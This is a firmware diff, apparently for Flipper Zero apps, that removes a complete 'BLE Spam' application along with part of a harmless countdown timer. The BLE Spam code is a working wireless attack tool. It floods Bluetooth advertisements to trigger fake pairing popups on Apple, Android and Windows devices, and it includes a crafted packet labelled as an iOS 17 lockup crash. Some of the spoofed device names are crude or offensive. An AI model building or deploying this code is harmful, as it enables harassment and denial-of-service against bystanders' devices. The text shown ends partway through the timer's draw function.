More ported apps

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GNU GENERAL PUBLIC LICENSE
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@@ -1,15 +0,0 @@
App(
appid="ble_spam",
name="BLE Spam",
apptype=FlipperAppType.EXTERNAL,
entry_point="ble_spam",
stack_size=4 * 1024,
fap_icon="ble_spam_10px.png",
fap_category="Bluetooth",
fap_author="@Willy-JL @ECTO-1A @Spooks4576",
fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam",
fap_version="2.0",
fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications",
fap_icon_assets="icons",
fap_icon_assets_symbol="ble_spam",
)

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@@ -1,390 +0,0 @@
#include <gui/gui.h>
#include <furi_hal_bt.h>
#include <gui/elements.h>
#include "protocols/_registry.h"
// Hacked together by @Willy-JL
// Custom adv API by @Willy-JL (idea by @xMasterX)
// iOS 17 Crash by @ECTO-1A
// Android and Windows Pairs by @Spooks4576 and @ECTO-1A
// Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
typedef struct {
bool random_mac;
const BleSpamProtocol* protocol;
BleSpamMsg msg;
} Payload;
typedef struct {
const char* title;
const char* text;
Payload payload;
} Attack;
static Attack attacks[] = {
{
.title = "+ Kitchen Sink",
.text = "Flood all attacks at once",
.payload =
{
.random_mac = true,
.protocol = NULL,
.msg = {},
},
},
{
.title = "iOS 17 Lockup Crash",
.text = "Newer iPhones, long range",
.payload =
{
.random_mac = false,
.protocol = &ble_spam_protocol_continuity,
.msg =
{
.continuity =
{
.type = ContinuityTypeCustomCrash,
.data = {},
},
},
},
},
{
.title = "Apple Action Modal",
.text = "Lock cooldown, long range",
.payload =
{
.random_mac = false,
.protocol = &ble_spam_protocol_continuity,
.msg =
{
.continuity =
{
.type = ContinuityTypeNearbyAction,
.data = {},
},
},
},
},
{
.title = "Apple Device Popup",
.text = "No cooldown, close range",
.payload =
{
.random_mac = false,
.protocol = &ble_spam_protocol_continuity,
.msg =
{
.continuity =
{
.type = ContinuityTypeProximityPair,
.data = {},
},
},
},
},
{
.title = "Android Device Pair",
.text = "~15min cooldown, long range",
.payload =
{
.random_mac = true,
.protocol = &ble_spam_protocol_fastpair,
.msg =
{
.fastpair = {},
},
},
},
{
.title = "Windows Device Found",
.text = "Requires enabling SwiftPair",
.payload =
{
.random_mac = true,
.protocol = &ble_spam_protocol_swiftpair,
.msg =
{
.swiftpair = {},
},
},
},
};
#define ATTACK_COUNT ((signed)COUNT_OF(attacks))
uint16_t delays[] = {20, 50, 100, 200};
typedef struct {
bool resume;
bool advertising;
uint8_t delay;
FuriThread* thread;
int8_t index;
} State;
static int32_t adv_thread(void* ctx) {
State* state = ctx;
uint8_t size;
uint16_t delay;
uint8_t* packet;
uint8_t mac[GAP_MAC_ADDR_SIZE];
Payload* payload = &attacks[state->index].payload;
if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
while(state->advertising) {
if(payload->protocol) {
payload->protocol->make_packet(&size, &packet, &payload->msg);
} else {
ble_spam_protocols[rand() % ble_spam_protocols_count]->make_packet(
&size, &packet, NULL);
}
furi_hal_bt_custom_adv_set(packet, size);
free(packet);
if(payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
delay = delays[state->delay];
furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F);
furi_thread_flags_wait(true, FuriFlagWaitAny, delay);
furi_hal_bt_custom_adv_stop();
}
return 0;
}
static void toggle_adv(State* state) {
if(state->advertising) {
state->advertising = false;
furi_thread_flags_set(furi_thread_get_id(state->thread), true);
furi_thread_join(state->thread);
if(state->resume) furi_hal_bt_start_advertising();
} else {
state->resume = furi_hal_bt_is_active();
furi_hal_bt_stop_advertising();
state->advertising = true;
furi_thread_start(state->thread);
}
}
#define PAGE_MIN (-3)
#define PAGE_MAX ATTACK_COUNT
enum {
PageHelpApps = PAGE_MIN,
PageHelpDelay,
PageHelpDistance,
PageStart = 0,
PageEnd = ATTACK_COUNT - 1,
PageAboutCredits = PAGE_MAX,
};
static void draw_callback(Canvas* canvas, void* ctx) {
State* state = ctx;
const char* back = "Back";
const char* next = "Next";
switch(state->index) {
case PageStart - 1:
next = "Spam";
break;
case PageStart:
back = "Help";
break;
case PageEnd:
next = "About";
break;
case PageEnd + 1:
back = "Spam";
break;
}
const Attack* attack =
(state->index >= 0 && state->index <= ATTACK_COUNT - 1) ? &attacks[state->index] : NULL;
const Payload* payload = &attack->payload;
const BleSpamProtocol* protocol = (attack && payload->protocol) ? payload->protocol : NULL;
canvas_set_font(canvas, FontSecondary);
canvas_draw_icon(canvas, 4, 3, protocol ? protocol->icon : &I_ble);
canvas_draw_str(canvas, 14, 12, "BLE Spam");
switch(state->index) {
case PageHelpApps:
canvas_set_font(canvas, FontBatteryPercent);
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
elements_text_box(
canvas,
4,
16,
120,
48,
AlignLeft,
AlignTop,
"\e#Some Apps\e# interfere\n"
"with the attacks, stay on\n"
"homescreen for best results",
false);
break;
case PageHelpDelay:
canvas_set_font(canvas, FontBatteryPercent);
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
elements_text_box(
canvas,
4,
16,
120,
48,
AlignLeft,
AlignTop,
"\e#Delay\e# is time between\n"
"attack attempts (top right),\n"
"keep 20ms for best results",
false);
break;
case PageHelpDistance:
canvas_set_font(canvas, FontBatteryPercent);
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
elements_text_box(
canvas,
4,
16,
120,
48,
AlignLeft,
AlignTop,
"\e#Distance\e# is limited, attacks\n"
"work under 1 meter but a\n"
"few are marked 'long range'",
false);
break;
case PageAboutCredits:
canvas_set_font(canvas, FontBatteryPercent);
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Credits");
elements_text_box(
canvas,
4,
16,
122,
48,
AlignLeft,
AlignTop,
"App+Spam: \e#WillyJL\e# XFW\n"
"Apple+Crash: \e#ECTO-1A\e#\n"
"Android+Win: \e#Spooks4576\e#\n"
" Version \e#2.0\e#",
false);
break;
default: {
if(!attack) break;
char str[32];
canvas_set_font(canvas, FontBatteryPercent);
snprintf(str, sizeof(str), "%ims", delays[state->delay]);
canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
canvas_set_font(canvas, FontBatteryPercent);
snprintf(
str,
sizeof(str),
"%02i/%02i: %s",
state->index + 1,
ATTACK_COUNT,
protocol ? protocol->get_name(&payload->msg) : "Everything");
canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str);
canvas_set_font(canvas, FontPrimary);
canvas_draw_str(canvas, 4, 32, attack->title);
canvas_set_font(canvas, FontSecondary);
canvas_draw_str(canvas, 4, 46, attack->text);
elements_button_center(canvas, state->advertising ? "Stop" : "Start");
break;
}
}
if(state->index > PAGE_MIN) {
elements_button_left(canvas, back);
}
if(state->index < PAGE_MAX) {
elements_button_right(canvas, next);
}
}
static void input_callback(InputEvent* input, void* ctx) {
FuriMessageQueue* input_queue = ctx;
if(input->type == InputTypeShort || input->type == InputTypeLong ||
input->type == InputTypeRepeat) {
furi_message_queue_put(input_queue, input, 0);
}
}
int32_t ble_spam(void* p) {
UNUSED(p);
State* state = malloc(sizeof(State));
state->thread = furi_thread_alloc();
furi_thread_set_callback(state->thread, adv_thread);
furi_thread_set_context(state->thread, state);
furi_thread_set_stack_size(state->thread, 4096);
FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
ViewPort* view_port = view_port_alloc();
Gui* gui = furi_record_open(RECORD_GUI);
view_port_input_callback_set(view_port, input_callback, input_queue);
view_port_draw_callback_set(view_port, draw_callback, state);
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
bool running = true;
while(running) {
InputEvent input;
furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk);
bool is_attack = state->index >= 0 && state->index <= ATTACK_COUNT - 1;
bool advertising = state->advertising;
switch(input.key) {
case InputKeyOk:
if(is_attack) toggle_adv(state);
break;
case InputKeyUp:
if(is_attack && state->delay < COUNT_OF(delays) - 1) {
state->delay++;
}
break;
case InputKeyDown:
if(is_attack && state->delay > 0) {
state->delay--;
}
break;
case InputKeyLeft:
if(state->index > PAGE_MIN) {
if(advertising) toggle_adv(state);
state->index--;
}
break;
case InputKeyRight:
if(state->index < PAGE_MAX) {
if(advertising) toggle_adv(state);
state->index++;
}
break;
case InputKeyBack:
if(advertising) toggle_adv(state);
running = false;
break;
default:
continue;
}
view_port_update(view_port);
}
gui_remove_view_port(gui, view_port);
furi_record_close(RECORD_GUI);
view_port_free(view_port);
furi_message_queue_free(input_queue);
furi_thread_free(state->thread);
free(state);
return 0;
}

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#pragma once
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <assets_icons.h>
#include "ble_spam_icons.h"
#include <furi_hal_random.h>
#include <core/core_defines.h>
typedef union BleSpamMsg BleSpamMsg;
typedef struct {
const Icon* icon;
const char* (*get_name)(const BleSpamMsg* _msg);
void (*make_packet)(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg);
} BleSpamProtocol;

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@@ -1,9 +0,0 @@
#include "_registry.h"
const BleSpamProtocol* ble_spam_protocols[] = {
&ble_spam_protocol_continuity,
&ble_spam_protocol_fastpair,
&ble_spam_protocol_swiftpair,
};
const size_t ble_spam_protocols_count = COUNT_OF(ble_spam_protocols);

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@@ -1,15 +0,0 @@
#pragma once
#include "continuity.h"
#include "fastpair.h"
#include "swiftpair.h"
union BleSpamMsg {
ContinuityMsg continuity;
FastpairMsg fastpair;
SwiftpairMsg swiftpair;
};
extern const BleSpamProtocol* ble_spam_protocols[];
extern const size_t ble_spam_protocols_count;

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@@ -1,276 +0,0 @@
#include "continuity.h"
#include "_registry.h"
// Hacked together by @Willy-JL
// iOS 17 Crash by @ECTO-1A
// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
static const char* type_names[ContinuityTypeCount] = {
[ContinuityTypeAirDrop] = "AirDrop",
[ContinuityTypeProximityPair] = "Proximity Pair",
[ContinuityTypeAirplayTarget] = "Airplay Target",
[ContinuityTypeHandoff] = "Handoff",
[ContinuityTypeTetheringSource] = "Tethering Source",
[ContinuityTypeNearbyAction] = "Nearby Action",
[ContinuityTypeNearbyInfo] = "Nearby Info",
[ContinuityTypeCustomCrash] = "Custom Packet",
};
const char* continuity_get_name(const BleSpamMsg* _msg) {
const ContinuityMsg* msg = &_msg->continuity;
return type_names[msg->type];
}
#define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
static uint8_t packet_sizes[ContinuityTypeCount] = {
[ContinuityTypeAirDrop] = HEADER_LEN + 18,
[ContinuityTypeProximityPair] = HEADER_LEN + 25,
[ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
[ContinuityTypeHandoff] = HEADER_LEN + 14,
[ContinuityTypeTetheringSource] = HEADER_LEN + 6,
[ContinuityTypeNearbyAction] = HEADER_LEN + 5,
[ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
[ContinuityTypeCustomCrash] = HEADER_LEN + 11,
};
void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
const ContinuityMsg* msg = _msg ? &_msg->continuity : NULL;
ContinuityType type;
if(msg) {
type = msg->type;
} else {
const ContinuityType types[] = {
ContinuityTypeProximityPair,
ContinuityTypeNearbyAction,
ContinuityTypeCustomCrash,
};
type = types[rand() % COUNT_OF(types)];
}
uint8_t size = packet_sizes[type];
uint8_t* packet = malloc(size);
uint8_t i = 0;
packet[i++] = size - 1; // Size
packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
packet[i++] = 0x4C; // Company ID (Apple, Inc.)
packet[i++] = 0x00; // ...
packet[i++] = type; // Continuity Type
packet[i] = size - i - 1; // Continuity Size
i++;
switch(type) {
case ContinuityTypeAirDrop: {
packet[i++] = 0x00; // Zeros
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x01; // Version
packet[i++] = (rand() % 256); // AppleID
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // Phone Number
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // Email
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // Email2
packet[i++] = (rand() % 256); // ...
packet[i++] = 0x00; // Zero
break;
}
case ContinuityTypeProximityPair: {
uint16_t model;
if(msg && msg->data.proximity_pair.model != 0x0000) {
model = msg->data.proximity_pair.model;
} else {
const uint16_t models[] = {
0x0E20, // AirPods Pro
0x0620, // Beats Solo 3
0x0A20, // AirPods Max
0x1020, // Beats Flex
0x0055, // Airtag
0x0030, // Hermes Airtag
0x0220, // AirPods
0x0F20, // AirPods 2nd Gen
0x1320, // AirPods 3rd Gen
0x1420, // AirPods Pro 2nd Gen
0x0320, // Powerbeats 3
0x0B20, // Powerbeats Pro
0x0C20, // Beats Solo Pro
0x1120, // Beats Studio Buds
0x0520, // Beats X
0x0920, // Beats Studio 3
0x1720, // Beats Studio Pro
0x1220, // Beats Fit Pro
0x1620, // Beats Studio Buds+
};
model = models[rand() % COUNT_OF(models)];
}
uint8_t prefix;
if(msg && msg->data.proximity_pair.prefix == 0x00) {
prefix = msg->data.proximity_pair.prefix;
} else {
if(model == 0x0055 || model == 0x0030)
prefix = 0x05;
else
prefix = 0x01;
}
packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
packet[i++] = (model >> 0x08) & 0xFF;
packet[i++] = (model >> 0x00) & 0xFF;
packet[i++] = 0x55; // Status
packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
packet[i++] = (rand() % 256); // Lid Open Counter
packet[i++] = 0x00; // Device Color
packet[i++] = 0x00;
furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
i += 16;
break;
}
case ContinuityTypeAirplayTarget: {
packet[i++] = (rand() % 256); // Flags
packet[i++] = (rand() % 256); // Configuration Seed
packet[i++] = (rand() % 256); // IPv4 Address
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
break;
}
case ContinuityTypeHandoff: {
packet[i++] = 0x01; // Version
packet[i++] = (rand() % 256); // Initialization Vector
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // AES-GCM Auth Tag
packet[i++] = (rand() % 256); // Encrypted Payload
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
break;
}
case ContinuityTypeTetheringSource: {
packet[i++] = 0x01; // Version
packet[i++] = (rand() % 256); // Flags
packet[i++] = (rand() % 101); // Battery Life
packet[i++] = 0x00; // Cell Service Type
packet[i++] = (rand() % 8); // ...
packet[i++] = (rand() % 5); // Cell Service Strength
break;
}
case ContinuityTypeNearbyAction: {
uint8_t action;
if(msg && msg->data.nearby_action.type != 0x00) {
action = msg->data.nearby_action.type;
} else {
const uint8_t actions[] = {
0x13, // AppleTV AutoFill
0x27, // AppleTV Connecting...
0x20, // Join This AppleTV?
0x19, // AppleTV Audio Sync
0x1E, // AppleTV Color Balance
0x09, // Setup New iPhone
0x02, // Transfer Phone Number
0x0B, // HomePod Setup
0x01, // Setup New AppleTV
0x06, // Pair AppleTV
0x0D, // HomeKit AppleTV Setup
0x2B, // AppleID for AppleTV?
};
action = actions[rand() % COUNT_OF(actions)];
}
uint8_t flag;
if(msg && msg->data.nearby_action.flags != 0x00) {
flag = msg->data.nearby_action.flags;
} else {
flag = 0xC0;
if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
}
packet[i++] = flag; // Action Flags
packet[i++] = action; // Action Type
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
i += 3;
break;
}
case ContinuityTypeNearbyInfo: {
packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
packet[i++] = (rand() % 256); // Status Flags
packet[i++] = (rand() % 256); // Authentication Tag
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
break;
}
case ContinuityTypeCustomCrash: {
// Found by @ECTO-1A
const uint8_t actions[] = {
0x13, // AppleTV AutoFill
0x27, // AppleTV Connecting...
0x20, // Join This AppleTV?
0x19, // AppleTV Audio Sync
0x1E, // AppleTV Color Balance
0x09, // Setup New iPhone
0x02, // Transfer Phone Number
0x0B, // HomePod Setup
0x01, // Setup New AppleTV
0x06, // Pair AppleTV
0x0D, // HomeKit AppleTV Setup
0x2B, // AppleID for AppleTV?
};
uint8_t action = actions[rand() % COUNT_OF(actions)];
uint8_t flag = 0xC0;
if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
i -= 2; // Override segment header
packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
packet[i++] = 0x05; // Continuity Size
packet[i++] = flag; // Action Flags
packet[i++] = action; // Action Type
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
i += 3;
packet[i++] = 0x00; // Terminator (?)
packet[i++] = 0x00; // ...
packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
i += 3;
break;
}
default:
break;
}
*out_size = size;
*out_packet = packet;
}
const BleSpamProtocol ble_spam_protocol_continuity = {
.icon = &I_apple,
.get_name = continuity_get_name,
.make_packet = continuity_make_packet,
};

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@@ -1,36 +0,0 @@
#pragma once
#include "_base.h"
// Hacked together by @Willy-JL
// iOS 17 Crash by @ECTO-1A
// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
typedef enum {
ContinuityTypeAirDrop = 0x05,
ContinuityTypeProximityPair = 0x07,
ContinuityTypeAirplayTarget = 0x09,
ContinuityTypeHandoff = 0x0C,
ContinuityTypeTetheringSource = 0x0E,
ContinuityTypeNearbyAction = 0x0F,
ContinuityTypeNearbyInfo = 0x10,
ContinuityTypeCustomCrash,
ContinuityTypeCount
} ContinuityType;
typedef struct {
ContinuityType type;
union {
struct {
uint8_t prefix;
uint16_t model;
} proximity_pair;
struct {
uint8_t flags;
uint8_t type;
} nearby_action;
} data;
} ContinuityMsg;
extern const BleSpamProtocol ble_spam_protocol_continuity;

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@@ -1,68 +0,0 @@
#include "fastpair.h"
#include "_registry.h"
// Hacked together by @Willy-JL and @Spooks4576
// Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
const char* fastpair_get_name(const BleSpamMsg* _msg) {
const FastpairMsg* msg = &_msg->fastpair;
UNUSED(msg);
return "FastPair";
}
void fastpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
const FastpairMsg* msg = _msg ? &_msg->fastpair : NULL;
uint32_t model_id;
if(msg && msg->model_id != 0x000000) {
model_id = msg->model_id;
} else {
const uint32_t models[] = {
// Genuine devices
0xCD8256, // Bose NC 700
0xF52494, // JBL Buds Pro
0x718FA4, // JBL Live 300TWS
0x821F66, // JBL Flip 6
0x92BBBD, // Pixel Buds
// Custom debug popups
0xAA1FE1, // ClownMaster
0xAA187F, // VBucks
0xF38C02, // Boykisser
0x1448C9, // BLM
0xD5AB33, // Xtreme
0x13B39D, // Talking Sasquach
};
model_id = models[rand() % COUNT_OF(models)];
}
uint8_t size = 14;
uint8_t* packet = malloc(size);
uint8_t i = 0;
packet[i++] = 3; // Size
packet[i++] = 0x03; // AD Type (Service UUID List)
packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
packet[i++] = 0xFE; // ...
packet[i++] = 6; // Size
packet[i++] = 0x16; // AD Type (Service Data)
packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
packet[i++] = 0xFE; // ...
packet[i++] = (model_id >> 0x10) & 0xFF; // Model ID
packet[i++] = (model_id >> 0x08) & 0xFF; // ...
packet[i++] = (model_id >> 0x00) & 0xFF; // ...
packet[i++] = 2; // Size
packet[i++] = 0x0A; // AD Type (Tx Power Level)
packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm
*out_size = size;
*out_packet = packet;
}
const BleSpamProtocol ble_spam_protocol_fastpair = {
.icon = &I_android,
.get_name = fastpair_get_name,
.make_packet = fastpair_make_packet,
};

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@@ -1,11 +0,0 @@
#pragma once
#include "_base.h"
// Hacked together by @Willy-JL and @Spooks4576
// Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
typedef struct {
uint32_t model_id;
} FastpairMsg;
extern const BleSpamProtocol ble_spam_protocol_fastpair;

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@@ -1,54 +0,0 @@
#include "swiftpair.h"
#include "_registry.h"
// Hacked together by @Willy-JL and @Spooks4576
// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
const char* swiftpair_get_name(const BleSpamMsg* _msg) {
const SwiftpairMsg* msg = &_msg->swiftpair;
UNUSED(msg);
return "SwiftPair";
}
void swiftpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
const SwiftpairMsg* msg = _msg ? &_msg->swiftpair : NULL;
const char* display_name;
if(msg && msg->display_name[0] != '\0') {
display_name = msg->display_name;
} else {
const char* names[] = {
"Assquach💦",
"Flipper 🐬",
"iOS 17 🍎",
"Kink💦",
"👉👌",
"🔵🦷",
};
display_name = names[rand() % COUNT_OF(names)];
}
uint8_t display_name_len = strlen(display_name);
uint8_t size = 7 + display_name_len;
uint8_t* packet = malloc(size);
uint8_t i = 0;
packet[i++] = size - 1; // Size
packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
packet[i++] = 0x06; // Company ID (Microsoft)
packet[i++] = 0x00; // ...
packet[i++] = 0x03; // Microsoft Beacon ID
packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
packet[i++] = 0x80; // Reserved RSSI Byte
memcpy(&packet[i], display_name, display_name_len); // Display Name
i += display_name_len;
*out_size = size;
*out_packet = packet;
}
const BleSpamProtocol ble_spam_protocol_swiftpair = {
.icon = &I_windows,
.get_name = swiftpair_get_name,
.make_packet = swiftpair_make_packet,
};

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@@ -1,11 +0,0 @@
#pragma once
#include "_base.h"
// Hacked together by @Willy-JL and @Spooks4576
// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
typedef struct {
char display_name[25];
} SwiftpairMsg;
extern const BleSpamProtocol ble_spam_protocol_swiftpair;

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@@ -1,71 +0,0 @@
#include "views/countdown_view.h"
#include "app.h"
static void register_view(ViewDispatcher* dispatcher, View* view, uint32_t viewid);
int32_t app_main(void* p) {
UNUSED(p);
CountDownTimerApp* app = countdown_app_new();
countdown_app_run(app);
countdown_app_delete(app);
return 0;
}
static uint32_t view_exit(void* ctx) {
furi_assert(ctx);
return VIEW_NONE;
}
CountDownTimerApp* countdown_app_new(void) {
CountDownTimerApp* app = (CountDownTimerApp*)(malloc(sizeof(CountDownTimerApp)));
// 1.1 open gui
app->gui = furi_record_open(RECORD_GUI);
// 2.1 setup view dispatcher
app->view_dispatcher = view_dispatcher_alloc();
view_dispatcher_enable_queue(app->view_dispatcher);
// 2.2 attach view dispatcher to gui
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
// 2.3 attach views to the dispatcher
// helloworld view
app->helloworld_view = countdown_timer_view_new();
register_view(app->view_dispatcher, countdown_timer_view_get_view(app->helloworld_view), 0xff);
// 2.5 switch to default view
view_dispatcher_switch_to_view(app->view_dispatcher, 0xff);
return app;
}
void countdown_app_delete(CountDownTimerApp* app) {
furi_assert(app);
// delete views
view_dispatcher_remove_view(app->view_dispatcher, 0xff);
countdown_timer_view_delete(app->helloworld_view); // hello world view
// delete view dispatcher
view_dispatcher_free(app->view_dispatcher);
furi_record_close(RECORD_GUI);
// self
free(app);
}
void countdown_app_run(CountDownTimerApp* app) {
view_dispatcher_run(app->view_dispatcher);
}
static void register_view(ViewDispatcher* dispatcher, View* view, uint32_t viewid) {
view_dispatcher_add_view(dispatcher, viewid, view);
view_set_previous_callback(view, view_exit);
}

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@@ -1,22 +0,0 @@
#ifndef __APP_H__
#define __APP_H__
#include <furi.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
// app
typedef struct {
Gui* gui; // gui object
ViewDispatcher* view_dispatcher; // view dispacther of the gui
// views
CountDownTimView* helloworld_view;
} CountDownTimerApp;
CountDownTimerApp* countdown_app_new(void);
void countdown_app_delete(CountDownTimerApp* app);
void countdown_app_run(CountDownTimerApp* app);
#endif

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@@ -1,19 +0,0 @@
# qv. https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/AppManifests.md
App(
appid="cntdown_tim",
name="Count Down Timer",
apptype=FlipperAppType.EXTERNAL,
entry_point="app_main",
cdefines=["APP_COUNT_DOWN_TIMER"],
requires=[
"gui",
],
stack_size=2 * 1024,
fap_icon="cntdown_timer.png",
fap_category="Tools",
fap_author="@0w0mewo",
fap_weburl="https://github.com/0w0mewo/fpz_cntdown_timer",
fap_version="1.1",
fap_description="Simple count down timer",
)

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@@ -1,34 +0,0 @@
#include <furi.h>
#include "utils.h"
static const NotificationSequence sequence_beep = {
&message_blue_255,
&message_note_d5,
&message_delay_100,
&message_sound_off,
NULL,
};
void notification_beep_once() {
notification_message(furi_record_open(RECORD_NOTIFICATION), &sequence_beep);
notification_off();
}
void notification_off() {
furi_record_close(RECORD_NOTIFICATION);
}
void notification_timeup() {
notification_message(furi_record_open(RECORD_NOTIFICATION), &sequence_audiovisual_alert);
}
void parse_sec_to_time_str(char* buffer, size_t len, int32_t sec) {
snprintf(
buffer,
len,
"%02ld:%02ld:%02ld",
(sec % (60 * 60 * 24)) / (60 * 60), // hour
(sec % (60 * 60)) / 60, // minute
sec % 60); // second
}

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@@ -1,12 +0,0 @@
#ifndef __UTILS_H__
#define __UTILS_H__
#include <furi.h>
#include <notification/notification_messages.h>
void notification_beep_once();
void notification_off();
void notification_timeup();
void parse_sec_to_time_str(char* buffer, size_t len, int32_t sec);
#endif // __UTILS_H__

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@@ -1,349 +0,0 @@
#include "countdown_view.h"
#include "../utils/utils.h"
// internal
static void handle_misc_cmd(CountDownTimView* hw, CountDownViewCmd cmd);
static void handle_time_setting_updown(CountDownTimView* cdv, CountDownViewCmd cmd);
static void handle_time_setting_select(InputKey key, CountDownTimView* cdv);
static void draw_selection(Canvas* canvas, CountDownViewSelect selection);
static void countdown_timer_start_counting(CountDownTimView* cdv);
static void countdown_timer_pause_counting(CountDownTimView* cdv);
// callbacks
static void countdown_timer_view_on_enter(void* ctx);
static void countdown_timer_view_on_draw(Canvas* canvas, void* ctx);
static bool countdown_timer_view_on_input(InputEvent* event, void* ctx);
static void timer_cb(void* ctx);
CountDownTimView* countdown_timer_view_new() {
CountDownTimView* cdv = (CountDownTimView*)(malloc(sizeof(CountDownTimView)));
cdv->view = view_alloc();
cdv->timer = furi_timer_alloc(timer_cb, FuriTimerTypePeriodic, cdv);
cdv->counting = false;
view_set_context(cdv->view, cdv);
view_allocate_model(cdv->view, ViewModelTypeLocking, sizeof(CountDownModel));
view_set_draw_callback(cdv->view, countdown_timer_view_on_draw);
view_set_input_callback(cdv->view, countdown_timer_view_on_input);
view_set_enter_callback(cdv->view, countdown_timer_view_on_enter);
return cdv;
}
void countdown_timer_view_delete(CountDownTimView* cdv) {
furi_assert(cdv);
view_free(cdv->view);
furi_timer_stop(cdv->timer);
furi_timer_free(cdv->timer);
free(cdv);
}
View* countdown_timer_view_get_view(CountDownTimView* cdv) {
return cdv->view;
}
void countdown_timer_view_state_reset(CountDownTimView* cdv) {
cdv->counting = false;
with_view_model(
cdv->view, CountDownModel * model, { model->count = model->saved_count_setting; }, true)
}
void countdown_timer_state_toggle(CountDownTimView* cdv) {
bool on = cdv->counting;
if(!on) {
countdown_timer_start_counting(cdv);
} else {
countdown_timer_pause_counting(cdv);
}
cdv->counting = !on;
}
// on enter callback, CountDownTimView as ctx
static void countdown_timer_view_on_enter(void* ctx) {
furi_assert(ctx);
CountDownTimView* cdv = (CountDownTimView*)ctx;
// set current count to a initial value
with_view_model(
cdv->view,
CountDownModel * model,
{
model->count = INIT_COUNT;
model->saved_count_setting = INIT_COUNT;
},
true);
}
// view draw callback, CountDownModel as ctx
static void countdown_timer_view_on_draw(Canvas* canvas, void* ctx) {
furi_assert(ctx);
CountDownModel* model = (CountDownModel*)ctx;
char buffer[64];
int32_t count = model->count;
int32_t expected_count = model->saved_count_setting;
CountDownViewSelect select = model->select;
// elements_frame(canvas, 0, 0, SCREEN_WIDTH, SCREEN_HEIGHT);
canvas_set_font(canvas, FontBigNumbers);
draw_selection(canvas, select);
parse_sec_to_time_str(buffer, sizeof(buffer), count);
canvas_draw_str_aligned(
